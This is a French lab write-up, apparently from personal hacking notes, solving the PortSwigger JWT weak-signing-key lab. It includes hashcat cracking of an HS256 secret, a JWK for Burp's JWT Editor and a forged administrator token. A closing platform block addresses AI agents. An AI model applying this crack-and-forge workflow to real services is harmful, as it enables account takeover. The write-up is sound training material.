> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/jwt/jwt-authentication-bypass-with-a-weak-key.md).
# Contournement de l’authentification JWT avec une clé faible
Notes sur le contournement de l’authentification JWT avec une clé faible pour les laboratoires de la PortSwigger Web Security Academy, incluant le workflow d’exploitation, les tests de payloads, la validation dans Burp Suite et le contexte de remédiation.
### Contournement de l’authentification JWT via une clé de signature faible
**Description du laboratoire**
Ce labo utilise un mécanisme de session basé sur JWT. / La clé secrète utilisée pour **signer et vérifier les jetons est extrêmement faible**, ce qui permet **d’être devinée facilement** en utilisant une liste de secrets courants.
Objectif :
* Trouvez la clé secrète utilisée par le serveur. \*Forgez un JWT valide avec cette clé pour accéder au `/admin` panneau d’administration.
* Supprimer l’utilisateur **carlos**.
Identifiants fournis :/ `wiener:peter`
\*\* JWT initial récupéré\*\*
{% code overflow="wrap" %}
```bash
eyJraWQiOiIzY2YwN2U1OC03N2RkLTQ5MjItYThiMi03MDJjZTdlNWI2ZTAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMzIxMywic3ViIjoid2llbmVyIn0.kjImRYXxwKADFnrNT6GRsF3eHmD5IDqvTwpLBuHaKv4
```
{% endcode %}
Il est observé que l’algorithme utilisé est **HS256**, donc un **algorithme symétrique** basé sur un secret partagé.
**Bruteforce de la clé secrète**
Nous utilisons une liste de secrets JWT courants :
```bash
wget https://raw.githubusercontent.com/wallarm/jwt-secrets/refs/heads/master/jwt.secrets.list
```
Lancez ensuite l’attaque par force brute avec **hashcat**:
```bash
hashcat -a 0 jwt jwt.secrets.list
```
Résultat :
* Clé secrète trouvée : **`secret1`**
**Préparation de la clé pour la signature**
Le **JWT Editor** l’extension attend la clé au format Base64.
Encodage de la clé :
```bash
c2VjcmV0MQ==
```
Création d’une clé symétrique dans JWT Editor :
```json
{
"kty": "oct",
"kid": "caa550f1-7d46-472b-a09f-8fa958937e48",
"k": "c2VjcmV0MQ=="
}
```
Un identifiant de clé (`kid`) est ensuite généré et utilisé pour signer le jeton.
**Modification du JWT**
* Interception de la requête contenant le JWT.
* Modifier le `sub` champ :
* `wiener` → `administrateur`
Resignature du jeton avec la clé secrète trouvée
JWT forgé final :
```bash
eyJraWQiOiI5MTVjNmE0Yy1iNzA3LTRmMmYtOTU3Ny05ODdhNWNhMzM1YjYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzNDY3MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.8VSJ5AinItZtayGFFfgsGidQuEIcxlzY6clVk1moITQ
```
**Résultat**
* Le serveur accepte le JWT signé avec la clé faible.
* Accès réussi au `/admin` panneau.
* L’utilisateur est reconnu comme \*\* administrateur\*\*.
* Le labo est validé après la suppression de l’utilisateur **carlos**.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/fr/web/jwt/jwt-authentication-bypass-with-a-weak-key.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)